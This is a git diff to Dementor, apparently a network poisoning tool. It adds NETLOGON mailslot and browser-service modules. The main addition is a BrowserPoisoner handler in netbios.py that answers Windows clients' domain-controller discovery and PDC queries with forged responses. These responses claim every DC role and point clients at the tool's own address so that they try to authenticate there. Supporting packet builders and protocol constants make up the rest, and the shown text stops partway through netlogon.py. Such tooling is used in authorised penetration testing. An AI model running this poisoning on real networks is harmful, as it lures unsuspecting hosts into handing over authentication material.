diff --git a/dementor/assets/Dementor.toml b/dementor/assets/Dementor.toml index 190a309..3a58422 100755 --- a/dementor/assets/Dementor.toml +++ b/dementor/assets/Dementor.toml @@ -317,6 +317,25 @@ Port = 445 # DisableExtendedSessionSecurity = false # DisableNTLMv2 = false +# ============================================================================= +# Browser (NetBIOS Datagram Service) +# ============================================================================= +[Browser] + +# Specifies the NetBIOS domain name to advertise in NETLOGON responses. +# This value is used when responding to PDC queries (LOGON_PRIMARY_QUERY) +# and DC discovery requests (LOGON_SAM_LOGON_REQUEST). +# The default value is: "CONTOSO" + +# DomainName = "WORKGROUP" + +# Specifies the hostname to advertise as the domain controller in NETLOGON +# responses. This value is used when responding to PDC queries and DC +# discovery requests. +# The default value is: "DC01" + +# Hostname = "FILESERVER" + # ============================================================================= # SMTP (Simple Mail Transfer Protocol) diff --git a/dementor/config/session.py b/dementor/config/session.py index 3bd6451..18385b3 100644 --- a/dementor/config/session.py +++ b/dementor/config/session.py @@ -128,6 +128,7 @@ class SessionConfig(TomlConfig): ssdp_config: ssdp.SSDPConfig upnp_config: upnp.UPNPConfig x11_config: x11.X11Config + browser_config: netbios.BrowserConfig ntlm_challenge: bytes ntlm_disable_ess: bool @@ -157,6 +158,7 @@ class SessionConfig(TomlConfig): ipp_enabled: bool ssdp_enabled: bool upnp_enabled: bool + browser_enabled: bool def __init__(self) -> None: super().__init__(config.get_global_config().get("Dementor", {})) diff --git a/dementor/protocols/mailslot.py b/dementor/protocols/mailslot.py new file mode 100755 index 0000000..5ff26b3 --- /dev/null +++ b/dementor/protocols/mailslot.py @@ -0,0 +1,332 @@ +# Copyright (c) 2025-Present MatrixEditor +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. +"""Remote Mailslot Protocol implementation per [MS-MAIL]. + +This module implements the Remote Mailslot Protocol as specified in +[MS-MAIL] (Remote Mailslot Protocol). Mailslots provide a one-way +interprocess communication mechanism for connectionless, unreliable +message delivery over SMB. + +The protocol is used extensively in Windows networking for service +discovery, domain controller location, and browser service announcements. +""" + +from impacket.smb import SMB +from scapy.layers import netbios, smb + + +# =========================================================================== +# Constants +# =========================================================================== +# Mailslot operation codes per [MS-MAIL] § 2.2.1 +MAILSLOT_WRITE = 0x0001 # Write to mailslot + +# Mailslot class values per [MS-MAIL] § 2.2.1 +MAILSLOT_CLASS_UNRELIABLE = 0x0002 # Unreliable (connectionless) + +# Common mailslot names per [MS-MAIL] § 1.3 +MAILSLOT_NETLOGON = "\\MAILSLOT\\NET\\NETLOGON" +MAILSLOT_BROWSE = "\\MAILSLOT\\BROWSE" +MAILSLOT_LANMAN = "\\MAILSLOT\\LANMAN" + +# NBT datagram types per [RFC1002] § 4.4.1 +NBT_DIRECT_UNIQUE = 0x10 # Direct unique datagram +NBT_DIRECT_GROUP = 0x11 # Direct group datagram +NBT_BROADCAST = 0x12 # Broadcast datagram + +# NBT datagram flags per [RFC1002] § 4.4.1 +# SNT (Source Node Type) field values: +NBT_SNT_B_NODE = 0x00 # B-node (broadcast) +NBT_SNT_P_NODE = 0x01 # P-node (point-to-point) +NBT_SNT_M_NODE = 0x02 # M-node (mixed) +NBT_SNT_H_NODE = 0x03 # H-node (hybrid) + +# Flag bits: +NBT_FLAG_FIRST = 0x02 # First packet +NBT_FLAG_MORE = 0x01 # More fragments follow + + +# =========================================================================== +# Mailslot Message Construction +# =========================================================================== +def build_mailslot_write( + mailslot_name: str, + data: bytes, + mailslot_class: int = MAILSLOT_CLASS_UNRELIABLE, + priority: int = 0, +) -> smb.SMBMailslot_Write: + r""" + Build an SMB mailslot write transaction per [MS-MAIL] § 2.2.1. + + Constructs an SMB_COM_TRANSACTION request with mailslot-specific + setup words and parameters. The transaction writes data to a named + mailslot on the target system. + + Per [MS-MAIL] § 2.2.1, the SMB_COM_TRANSACTION request contains: + - Setup words: [MailSlotOpcode, Priority, Class] + - Name: Mailslot name (null-terminated ASCII) + - Data: Message payload + + Product Behavior Notes (per [MS-MAIL] § 2.2.1): + - <3> Windows sets SMB_Header.Flags to 0x00 + - <4> Windows sets SMB_Header.Flags2 to 0x00 + - <5> Windows sets SMB_Header.PIDLow to 0x0000 + + :param mailslot_name: Name of the mailslot (e.g., "\\\\MAILSLOT\\\\NET\\\\NETLOGON") + :type mailslot_name: str + :param data: Message payload to write to the mailslot + :type data: bytes + :param mailslot_class: Mailslot class (1=reliable, 2=unreliable), defaults to 2 + :type mailslot_class: int + :param priority: Message priority (0-9), defaults to 0 + :type priority: int + :return: SMB mailslot write transaction + :rtype: smb.SMBMailslot_Write + + Example: + >>> from dementor.protocols import mailslot + >>> msg = mailslot.build_mailslot_write( + ... mailslot.MAILSLOT_NETLOGON, + ... b"\\x07\\x00...", # NETLOGON message + ... ) + >>> bytes(msg) + b'\\x11\\x00...' + + """ + # Setup words per [MS-MAIL] § 2.2.1: + # - Setup[0]: MailSlotOpcode (0x0001 = Write) + # - Setup[1]: Priority (0-9) + # - Setup[2]: Class (1=reliable, 2=unreliable) + setup_words = [MAILSLOT_WRITE, priority, mailslot_class] + + # Mailslot name must be null-terminated ASCII per [MS-MAIL] § 2.2.1 + mailslot_name_bytes = mailslot_name.encode("ascii") + b"\x00" + + # Build the SMB_COM_TRANSACTION mailslot write + # Per [MS-MAIL] § 2.2.1, the Buffer field contains: + # - ("Parameter", b"") - Empty parameter block + # - ("Data", data) - Message payload + return smb.SMBMailslot_Write( + SetupCount=3, + Setup=setup_words, + Name=mailslot_name_bytes, + Buffer=[ + ("Parameter", b""), + ("Data", data), + ], + ) + + +def build_smb_header( + command: int = SMB.SMB_COM_TRANSACTION, + flags: int = 0x00, + flags2: int = 0x00, + tid: int = 0x0000, + pid_low: int = 0xFEFF, + uid: int = 0x0000, + mid: int = 0x0000, +) -> smb.SMB_Header: + """ + Build an SMB header for mailslot transactions per [MS-MAIL] § 2.2.1. + + Per [MS-MAIL] § 2.2.1 product behavior notes: + - <3> Windows sets Flags to 0x00 + - <4> Windows sets Flags2 to 0x00 + - <5> Windows sets PIDLow to 0xFEFF + + :param command: SMB command code, defaults to 0x25 (SMB_COM_TRANSACTION) + :type command: int + :param flags: SMB flags, defaults to 0x00 + :type flags: int + :param flags2: SMB flags2, defaults to 0x00 + :type flags2: int + :param tid: Tree ID, defaults to 0x0000 + :type tid: int + :param pid_low: Process ID (low word), defaults to 0xFEFF + :type pid_low: int + :param uid: User ID, defaults to 0x0000 + :type uid: int + :param mid: Multiplex ID, defaults to 0x0000 + :type mid: int + :return: SMB header + :rtype: smb.SMB_Header + """ + return smb.SMB_Header( + Command=command, + Flags=flags, + Flags2=flags2, + TID=tid, + PIDLow=pid_low, + UID=uid, + MID=mid, + ) + + +# =========================================================================== +# NBT Datagram Construction +# =========================================================================== +def build_nbt_datagram( + source_name: str, + destination_name: str, + source_ip: str, + smb_packet: smb.SMB_Header | smb.SMBMailslot_Write, + datagram_type: int = NBT_DIRECT_GROUP, + source_port: int = 138, + node_type: int = NBT_SNT_H_NODE, + first_packet: bool = True, + more_fragments: bool = False, +) -> netbios.NBTDatagram: + """ + Build an NBT datagram for mailslot message delivery per [RFC1002] § 4.4.1. + + NetBIOS over TCP/UDP (NBT) datagrams provide the transport layer for + mailslot messages. The datagram encapsulates the SMB mailslot write + transaction and delivers it to the target NetBIOS name. + + Per [RFC1002] § 4.4.1, the NBT datagram header contains: + - MSG_TYPE: Datagram type (DIRECT_UNIQUE, DIRECT_GROUP, BROADCAST) + - FLAGS: Source node type and fragmentation flags + - DGM_ID: Datagram identifier + - SOURCE_IP: IP address of sender + - SOURCE_PORT: UDP port of sender (typically 138) + - SOURCE_NAME: NetBIOS name of sender (16 bytes, encoded) + - DESTINATION_NAME: NetBIOS name of recipient (16 bytes, encoded) + + Per [MS-MAIL] § 3.1.4.1 product behavior note <13>: + - Windows uses DIRECT_GROUP (0x11) for mailslot broadcasts + - Source node type is typically H-node (0x03) + - First packet flag (F) is set to 1 + - More fragments flag (M) is set to 0 for single-packet messages + + :param source_name: NetBIOS name of sender (max 15 chars) + :type source_name: str + :param destination_name: NetBIOS name of recipient (max 15 chars) + :type destination_name: str + :param source_ip: IP address of sender + :type source_ip: str + :param smb_packet: SMB packet to encapsulate + :type smb_packet: smb.SMB_Header | smb.SMBMailslot_Write + :param datagram_type: NBT datagram type, defaults to NBT_DIRECT_GROUP (0x11) + :type datagram_type: int + :param source_port: UDP source port, defaults to 138 + :type source_port: int + :param node_type: Source node type (B/P/M/H-node), defaults to H-node (0x03) + :type node_type: int + :param first_packet: First packet flag, defaults to True + :type first_packet: bool + :param more_fragments: More fragments flag, defaults to False + :type more_fragments: bool + :return: NBT datagram + :rtype: netbios.NBTDatagram + """ + # Encode NetBIOS names per [RFC1001] § 14.1 + # NetBIOS names are 16 bytes: 15 chars + 1 byte suffix + # Pad with spaces to 15 chars, append null byte (0x00) for workstation + source_nb_name = (source_name.upper()[:15].ljust(15) + "\x00").encode("ascii") + dest_nb_name = (destination_name.upper()[:15].ljust(15) + "\x00").encode("ascii") + + # Build FLAGS field per [RFC1002] § 4.4.1 + # Bits 0-1: SNT (Source Node Type) + # Bit 2: F (First packet) + # Bit 3: M (More fragments) + flags = (node_type & 0x03) << 2 + if first_packet: + flags |= NBT_FLAG_FIRST + if more_fragments: + flags |= NBT_FLAG_MORE + + # Build NBT datagram per [RFC1002] § 4.4.1 + datagram = netbios.NBTDatagram( + Type=datagram_type, + Flags=flags, + SourceIP=source_ip, + SourcePort=source_port, + SourceName=source_nb_name, + DestinationName=dest_nb_name, + ) + + # Attach SMB packet as payload + return datagram / smb_packet + + +# =========================================================================== +# High-Level API +# =========================================================================== +def mailslot_write( + mailslot_name: str, + data: bytes, + source_name: str, + destination_name: str, + source_ip: str, + mailslot_class: int = MAILSLOT_CLASS_UNRELIABLE, + priority: int = 0, +) -> bytes: + r""" + Build a complete mailslot message ready for transmission. + + This is a high-level convenience function that combines all the steps + required to build a mailslot message: + 1. Build SMB mailslot write transaction per [MS-MAIL] § 2.2.1 + 2. Build SMB header per [MS-MAIL] § 2.2.1 + 3. Build NBT datagram per [RFC1002] § 4.4.1 + + The resulting packet can be sent via UDP to port 138 on the target system. + + :param mailslot_name: Name of the mailslot (e.g., "\\\\MAILSLOT\\\\NET\\\\NETLOGON") + :type mailslot_name: str + :param data: Message payload + :type data: bytes + :param source_name: NetBIOS name of sender (max 15 chars) + :type source_name: str + :param destination_name: NetBIOS name of recipient (max 15 chars) + :type destination_name: str + :param source_ip: IP address of sender + :type source_ip: str + :param mailslot_class: Mailslot class (1=reliable, 2=unreliable), defaults to 2 + :type mailslot_class: int + :param priority: Message priority (0-9), defaults to 0 + :type priority: int + :return: Complete mailslot message as bytes + :rtype: bytes + """ + # Build SMB mailslot write transaction + transaction = build_mailslot_write( + mailslot_name=mailslot_name, + data=data, + mailslot_class=mailslot_class, + priority=priority, + ) + + # Build SMB header + smb_header = build_smb_header() + + # Combine SMB header and transaction + smb_packet = smb_header / transaction + + # Build NBT datagram + datagram = build_nbt_datagram( + source_name=source_name, + destination_name=destination_name, + source_ip=source_ip, + smb_packet=smb_packet, + ) + + # Return as bytes + return bytes(datagram) diff --git a/dementor/protocols/netbios.py b/dementor/protocols/netbios.py index da75fe6..13cad55 100755 --- a/dementor/protocols/netbios.py +++ b/dementor/protocols/netbios.py @@ -18,8 +18,12 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # pyright: reportUninitializedInstanceVariable=false +import secrets +import socket +import traceback import typing +from typing_extensions import override from scapy.layers import netbios, smb from rich import markup @@ -28,7 +32,9 @@ from dementor.servers import BaseProtoHandler, ThreadingUDPServer from dementor.log.logger import ProtocolLogger from dementor.config.session import TomlConfig +from dementor.config.toml import Attribute as A from dementor.filters import ATTR_BLACKLIST, ATTR_WHITELIST, in_scope +from dementor.protocols import mailslot, netlogon if typing.TYPE_CHECKING: from dementor.filters import Filters @@ -47,7 +53,18 @@ class NBTNSConfig(TomlConfig): class BrowserConfig(TomlConfig): _section_ = "Browser" - _fields_ = [] + _fields_ = [ + A("browser_domain_name", "DomainName", "CONTOSO"), + A("browser_hostname", "Hostname", "DC01"), + ATTR_WHITELIST, + ATTR_BLACKLIST, + ] + + if typing.TYPE_CHECKING: + browser_domain_name: str + browser_hostname: str + targets: Filters | None + ignored: Filters | None # Scapy _NETBIOS_SUFFIXES is not complete, See: @@ -182,8 +199,26 @@ def build_answer(self, request, trn_id): # other flags are not relevant here } +# ============================================================================ +# NETLOGON Mailslot Ping Protocol Implementation +# ============================================================================ +# The following classes implement the NETLOGON mailslot ping protocol +# Based on [MS-ADTS] section 6.3.5 - Mailslot Ping +# Used for domain controller discovery and verification + +# [MS-ADTS] 6.3.1.3 - NETLOGON Operation Codes +_NETLOGON_OPCODES = { + 0x07: "LOGON_PRIMARY_QUERY", + 0x12: "LOGON_SAM_LOGON_REQUEST", + 0x13: "LOGON_SAM_LOGON_RESPONSE", + 0x14: "LOGON_SAM_PAUSE_RESPONSE", + 0x15: "LOGON_SAM_USER_UNKNOWN", + 0x16: "LOGON_SAM_LOGON_RESPONSE_EX", + 0x17: "LOGON_PRIMARY_RESPONSE", +} + -class NetBiosDSPoisoner(BaseProtoHandler): +class BrowserPoisoner(BaseProtoHandler): def proto_logger(self) -> ProtocolLogger: return ProtocolLogger( extra={ @@ -206,7 +241,8 @@ def get_browser_server_types(self, server_type: int) -> list[str]: return server_types - def handle_data(self, data: bytes, transport) -> None: + @override + def handle_data(self, data: bytes, transport) -> None: # ty:ignore[invalid-method-override] # we're just her to inspect packets, no poisoning try: datagram = netbios.NBTDatagram(data) @@ -218,21 +254,25 @@ def handle_data(self, data: bytes, transport) -> None: self.logger.fail("Invalid NBTDatagram - discarding data...") return - source_name = datagram.SourceName.decode("utf-8", errors="replace") - # destination is not necessary as it should be the local master browser + source_name: str = datagram.SourceName.decode("utf-8", errors="replace") + transaction: smb.SMBMailslot_Write = datagram[smb.SMBMailslot_Write] + slot_name: str = transaction.Name.decode("utf-8", errors="replace") + + # Route to appropriate mailslot handler + # MS-ADTS 6.3.5 - NETLOGON mailslot for DC discovery + if slot_name == mailslot.MAILSLOT_NETLOGON: + self.handle_netlogon(transaction.Data, transport) + return - transaction = datagram[smb.SMBMailslot_Write] - slot_name = transaction.Name.decode("utf-8", errors="replace") - if slot_name != "\\MAILSLOT\\BROWSE": - # not a browser request, ignore + # Handle both BROWSE and LANMAN mailslots (MS-BRWS 2.1) + if slot_name not in (mailslot.MAILSLOT_BROWSE, mailslot.MAILSLOT_LANMAN): self.logger.display( f"Received request for new slot: {markup.escape(slot_name)}" ) return buffer = transaction.Buffer - if len(buffer) < 1 and len(buffer[0]) != 2: - # REVISIT: maybe log that + if len(buffer) < 1 or len(buffer[0]) != 2: return brws: smb.BRWS = transaction.Buffer[0][1] @@ -256,6 +296,222 @@ def handle_data(self, data: bytes, transport) -> None: # TODO: add support for more entries here pass + def parse_nt_version_flags(self, nt_version: int) -> dict[str, str]: + """ + Parse NtVersion bitfield into human-readable flags (MS-ADTS 6.3.1.1). + + Args: + nt_version: NtVersion field from NETLOGON request + + Returns: + Dictionary mapping flag names to descriptions + + """ + flags: dict[str, str] = {} + flag_definitions = { + "V1": (netlogon.NETLOGON_NT_VERSION_1, "Version 1 support"), + "V5": (netlogon.NETLOGON_NT_VERSION_5, "Version 5 support"), + "V5EX": (netlogon.NETLOGON_NT_VERSION_5EX, "Extended version 5"), + "V5EX_WITH_IP": ( + netlogon.NETLOGON_NT_VERSION_5EX_WITH_IP, + "Extended v5 with IP", + ), + "PDC": (netlogon.NETLOGON_NT_VERSION_PDC, "PDC query"), + "LOCAL": (netlogon.NETLOGON_NT_VERSION_LOCAL, "Local query"), + "AVOID_NT4EMUL": ( + netlogon.NETLOGON_NT_VERSION_AVOID_NT4EMUL, + "Avoid NT4 emulation", + ), + } + + for name, (bit, description) in flag_definitions.items(): + if nt_version & bit: + flags[name] = description + + return flags + + def handle_netlogon(self, request: smb.NETLOGON, transport: socket.socket) -> None: + """ + Handle NETLOGON mailslot ping requests (MS-ADTS 6.3.5). + + Mailslot pings are used by Windows clients to: + - Discover domain controllers + - Verify PDC availability + - Validate user accounts + - Map domain structure + """ + opcode: int = request.OpCode + opcode_name = smb._NETLOGON_opcodes.get(opcode, f"Unknown({hex(opcode)})") + match opcode: + case 0x12: # LOGON_SAM_LOGON_REQUEST + # Decode Unicode strings (UTF-16LE encoded) + computer_name = request.UnicodeComputerName.rstrip("\x00") + user_name = ( + request.UnicodeUserName.rstrip("\x00") + if getattr(request, "UnicodeUserName", None) + else None + ) + mailslot_name = request.MailslotName.decode( + "utf-8", errors="replace" + ).rstrip("\x00") + + # Parse NtVersion flags + nt_version = request.NtVersion + version_flags = self.parse_nt_version_flags(nt_version) + version_str = "|".join(version_flags.keys()) if version_flags else "" + + # Display parsed information + text = f"[bold]DC Discovery[/bold] from [i]{markup.escape(computer_name)}[/i]" + if user_name: + text = f"{text} (user: [b]{markup.escape(user_name)}[/])" + if version_str: + text = f"{text} (version: {version_str})" + if mailslot_name: + text = f"{text} (mailslot: [b]{markup.escape(mailslot_name)}[/])" + + self.logger.display(text) + # Analysis-only mode - don't respond + if self.config.analysis or not in_scope( + self.client_host, self.config.netbiosns_config + ): + return + + # Build and send LOGON_SAM_LOGON_RESPONSE (MS-ADTS 6.3.5.2) + response = self.build_dc_response(request, mailslot_name) + if response: + transport.sendto(response, self.client_address) + self.logger.success( + f"Sent DC discovery response to {markup.escape(computer_name)} ({self.client_host})" + ) + + case 0x07: # LOGON_PRIMARY_QUERY + # Extract request parameters + computer_name = getattr(request, "ComputerName", b"") + if isinstance(computer_name, bytes): + computer_name = computer_name.decode("ascii", errors="replace") + computer_name = computer_name.rstrip("\x00") + + mailslot_name = getattr(request, "MailslotName", b"") + if isinstance(mailslot_name, bytes): + mailslot_name = mailslot_name.decode("ascii", errors="replace") + mailslot_name = mailslot_name.rstrip("\x00") + + # Display parsed information + text = ( + f"[bold]PDC Query[/bold] from [i]{markup.escape(computer_name)}[/i]" + ) + if mailslot_name: + text = f"{text} (mailslot: [b]{markup.escape(mailslot_name)}[/])" + + self.logger.display(text) + # Analysis-only mode - don't respond + if self.config.analysis or not in_scope( + self.client_host, self.config.netbiosns_config + ): + return + + # Build and send LOGON_PRIMARY_RESPONSE + response = self.build_dc_response(request, mailslot_name) + if response: + transport.sendto(response, self.client_address) + self.logger.success( + f"Sent PDC response to {markup.escape(computer_name)} ({self.client_host})" + ) + + case _: + # Display information about other NETLOGON opcodes + self.logger.display( + f"NETLOGON {opcode_name} from [i]{self.client_host}[/i]" + ) + + def build_dc_response( + self, + request: smb.NETLOGON_SAM_LOGON_REQUEST | smb.NETLOGON_LOGON_QUERY, + mailslot_name: str, + ) -> bytes | None: + """Build a LOGON_SAM_LOGON_RESPONSE_EX per MS-ADTS 6.3.5. + + The response is sent as a mailslot write message per MS-MAIL 2.2.1, + wrapped in an NBT datagram per RFC1001/1002. + + This response makes the attacker appear as a valid DC, potentially + causing clients to attempt authentication against the poisoned server. + + :param request: The LOGON_SAM_LOGON_REQUEST packet from the client + :type request: smb.NETLOGON_SAM_LOGON_REQUEST + :param mailslot_name: The mailslot to respond to (from request) + :type mailslot_name: str + :return: Raw bytes of the NBT datagram, or None on error + :rtype: bytes | None + """ + try: + # ================================================================== + # Extract request parameters + # ================================================================== + domain_name = self.config.browser_config.browser_domain_name + computer_name: str | bytes = getattr(request, "ComputerName", b"") + if not computer_name: + computer_name = request.UnicodeComputerName + if isinstance(computer_name, bytes): + computer_name = computer_name.decode("utf-16le") + + if isinstance(computer_name, bytes): + computer_name = computer_name.decode("ascii") + + computer_name = computer_name.rstrip("\x00") + # Get hostname from configuration + dc_name = self.config.browser_config.browser_hostname + dc_netbios = dc_name.upper()[:15] # NetBIOS names are max 15 chars + dc_fqdn = f"{dc_name}.{domain_name.lower()}" + + # ================================================================== + # Build DC flags per MS-ADTS 6.3.1.2 (DS_FLAG Options Bits) + # ================================================================== + dc_flags = ( + netlogon.DS_PDC_FLAG + | netlogon.DS_DS_FLAG + | netlogon.DS_KDC_FLAG + | netlogon.DS_TIMESERV_FLAG + | netlogon.DS_CLOSEST_FLAG + | netlogon.DS_GOOD_TIMESERV_FLAG + | netlogon.DS_DNS_CONTROLLER_FLAG + | netlogon.DS_DNS_DOMAIN_FLAG + | netlogon.DS_DNS_FOREST_FLAG + ) + + # ================================================================== + # Build NETLOGON_SAM_LOGON_RESPONSE_EX per MS-ADTS 6.3.1.9 + # Scapy handles DNS compression automatically per RFC1035 + # ================================================================== + netlogon_response = netlogon.build_response( + request=request, + dc_name=dc_netbios, + domain_guid=secrets.token_bytes(16), + domain_name=domain_name.upper(), + dns_forest_name=domain_name.lower(), + dns_domain_name=domain_name.lower(), + dns_host_name=dc_fqdn, + dc_ip_address=self.config.ipv4, + flags=dc_flags, + ) + # Encode NetBIOS names (pad to 16 bytes with spaces, last byte is type) + source_nb_name = dc_netbios.ljust(15) + "\x00" + dest_nb_name = computer_name.upper()[:15].ljust(15) + "\x00" + + nbt_datagram = mailslot.mailslot_write( + mailslot_name=mailslot_name, + data=bytes(netlogon_response), + source_name=source_nb_name, + destination_name=dest_nb_name, + source_ip=self.config.ipv4, + ) + return bytes(nbt_datagram) + + except Exception as e: + self.logger.fail(f"Failed to build DC response: {e}") + self.logger.debug(traceback.format_exc()) + return None + class NetBiosNSServer(ThreadingUDPServer): default_port = 137 # name service @@ -273,11 +529,11 @@ class NetBIOS(BaseProtocolModule[NBTNSConfig]): poisoner = True -class NetBiosDatagramService(ThreadingUDPServer): +class BrowserServer(ThreadingUDPServer): default_port = 138 # datagram service - default_handler_class = NetBiosDSPoisoner + default_handler_class = BrowserPoisoner ipv4_only = True - service_name = "NetBIOS-DS" + service_name = "Browser" class Browser(BaseProtocolModule[BrowserConfig]): @@ -285,4 +541,4 @@ class Browser(BaseProtocolModule[BrowserConfig]): config_ty = BrowserConfig config_attr = "browser_config" config_enabled_attr = "nbtds_enabled" - server_ty = NetBiosDatagramService + server_ty = BrowserServer diff --git a/dementor/protocols/netlogon.py b/dementor/protocols/netlogon.py new file mode 100755 index 0000000..161d981 --- /dev/null +++ b/dementor/protocols/netlogon.py @@ -0,0 +1,758 @@ +# Copyright (c) 2025-Present MatrixEditor +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. +r"""NETLOGON mailslot ping protocol implementation per [MS-ADTS]. + +This module implements the NETLOGON mailslot ping protocol as specified in +[MS-ADTS] § 6.3 (Publishing and Locating a Domain Controller). The protocol +is used by Windows clients to discover and verify domain controllers. + +NETLOGON mailslot pings are sent to the ``\\MAILSLOT\\NET\\NETLOGON`` mailslot +and use various message structures depending on the client's capabilities +and requirements. + +For more information, see: +- [MS-ADTS] Active Directory Technical Specification +- [MS-NRPC] Netlogon Remote Protocol +""" + +from scapy.layers import smb +from scapy.fields import ( + FlagsField, + LEShortEnumField, + StrNullField, + StrNullFieldUtf16, + XLEShortField, + ConditionalField, + ByteField, +) + + +# =========================================================================== +# Constants per [MS-ADTS] § 6.3.1.3 - Operation Code +# =========================================================================== +LOGON_PRIMARY_QUERY = 0x07 # Query for PDC (opcode 7) +LOGON_SAM_LOGON_REQUEST = 0x12 # SAM logon request (opcode 18) +LOGON_SAM_LOGON_RESPONSE = 0x13 # SAM logon response (opcode 19) +LOGON_SAM_PAUSE_RESPONSE = 0x14 # SAM pause response (opcode 20) +LOGON_SAM_USER_UNKNOWN = 0x15 # SAM user unknown (opcode 21) +LOGON_SAM_LOGON_RESPONSE_EX = 0x17 # SAM logon response extended (opcode 23) +LOGON_PRIMARY_RESPONSE = 0x17 # Primary response (opcode 23) +LOGON_SAM_USER_UNKNOWN_EX = 0x19 # SAM user unknown extended (opcode 25) + + +# =========================================================================== +# NETLOGON_NT_VERSION Options Bits per [MS-ADTS] § 6.3.1.1 +# =========================================================================== +# These flags indicate the client's capabilities and the type of response +# expected. Multiple flags can be combined using bitwise OR. + +NETLOGON_NT_VERSION_1 = 0x00000001 +"""Version 1 support. + +Indicates basic NETLOGON protocol support. This flag is always set in +responses per [MS-ADTS] § 6.3.5. +""" + +NETLOGON_NT_VERSION_5 = 0x00000002 +"""Version 5 support. + +Indicates support for NETLOGON_SAM_LOGON_RESPONSE structure. +If set, server uses NETLOGON_SAM_LOGON_RESPONSE for response. +""" + +NETLOGON_NT_VERSION_5EX = 0x00000004 +"""Extended version 5 support. + +Indicates support for NETLOGON_SAM_LOGON_RESPONSE_EX structure. +If set, server uses NETLOGON_SAM_LOGON_RESPONSE_EX for response. +""" + +NETLOGON_NT_VERSION_5EX_WITH_IP = 0x00000008 +"""Extended version 5 with IP address. + +Indicates support for NETLOGON_SAM_LOGON_RESPONSE_EX with DcSockAddr field. +If set, server includes IP address in response. +""" + +NETLOGON_NT_VERSION_WITH_CLOSEST_SITE = 0x00000010 +"""Support for closest site information. + +Indicates support for NextClosestSiteName field in response. +If set and DC functional level >= WIN2008, server includes closest site. +""" + +NETLOGON_NT_VERSION_AVOID_NT4EMUL = 0x01000000 +"""Avoid NT4 emulation. + +If set, server does not use NT4-compatible response format even if +dc.nt4EmulatorEnabled is TRUE. +""" + +NETLOGON_NT_VERSION_PDC = 0x10000000 +"""PDC query. + +Indicates client is specifically looking for a Primary Domain Controller. +If set, server uses NETLOGON_PRIMARY_RESPONSE structure. +""" + +NETLOGON_NT_VERSION_IP = 0x20000000 +"""IP address support. + +Indicates client supports IP address in response. +""" + +NETLOGON_NT_VERSION_LOCAL = 0x40000000 +"""Local query. + +Indicates query is from local machine. Server may respond even if +Netlogon RPC server is not initialized. +""" + +NETLOGON_NT_VERSION_GC = 0x80000000 +"""Global Catalog query. + +Indicates client is looking for a Global Catalog server. +""" + + +# =========================================================================== +# DS_FLAG Options Bits per [MS-ADTS] § 6.3.1.2 +# =========================================================================== +# These flags describe the capabilities and roles of the responding DC. + +DS_PDC_FLAG = 0x00000001 +"""PDC of the domain. + +Indicates the DC is the Primary Domain Controller for the domain. +""" + +DS_GC_FLAG = 0x00000004 +"""Global Catalog server. + +Indicates the DC is a Global Catalog server. +""" + +DS_LDAP_FLAG = 0x00000008 +"""LDAP server. + +Indicates the DC supports LDAP. +""" + +DS_DS_FLAG = 0x00000010 +"""Directory Service. + +Indicates the DC is a directory service (always set for AD DCs). +""" + +DS_KDC_FLAG = 0x00000020 +"""Kerberos KDC. + +Indicates the DC is a Kerberos Key Distribution Center. +""" + +DS_TIMESERV_FLAG = 0x00000040 +"""Time server. + +Indicates the DC is a Windows Time Service server. +""" + +DS_CLOSEST_FLAG = 0x00000080 +"""Closest DC. + +Indicates the DC is in the same site as the client. +""" + +DS_WRITABLE_FLAG = 0x00000100 +"""Writable DC. + +Indicates the DC is writable (not a Read-Only DC). +""" + +DS_GOOD_TIMESERV_FLAG = 0x00000200 +"""Good time server. + +Indicates the DC has a reliable time source. +""" + +DS_NDNC_FLAG = 0x00000400 +"""Non-domain NC. + +Indicates the DC hosts a non-domain naming context. +""" + +DS_SELECT_SECRET_DOMAIN_6_FLAG = 0x00000800 +"""Select secret domain 6. + +Indicates the DC is a Windows Server 2008 or later DC. +""" + +DS_FULL_SECRET_DOMAIN_6_FLAG = 0x00001000 +"""Full secret domain 6. + +Indicates the DC has full secrets for the domain. +""" + +DS_WS2008_FLAG = 0x00002000 +"""Windows Server 2008. + +Indicates the DC is running Windows Server 2008 or later. +""" + +DS_WS2012_FLAG = 0x00004000 +"""Windows Server 2012. + +Indicates the DC is running Windows Server 2012 or later. +""" + +DS_WS2012R2_FLAG = 0x00008000 +"""Windows Server 2012 R2. + +Indicates the DC is running Windows Server 2012 R2 or later. +""" + +DS_WS2016_FLAG = 0x00010000 +"""Windows Server 2016. + +Indicates the DC is running Windows Server 2016 or later. +""" + 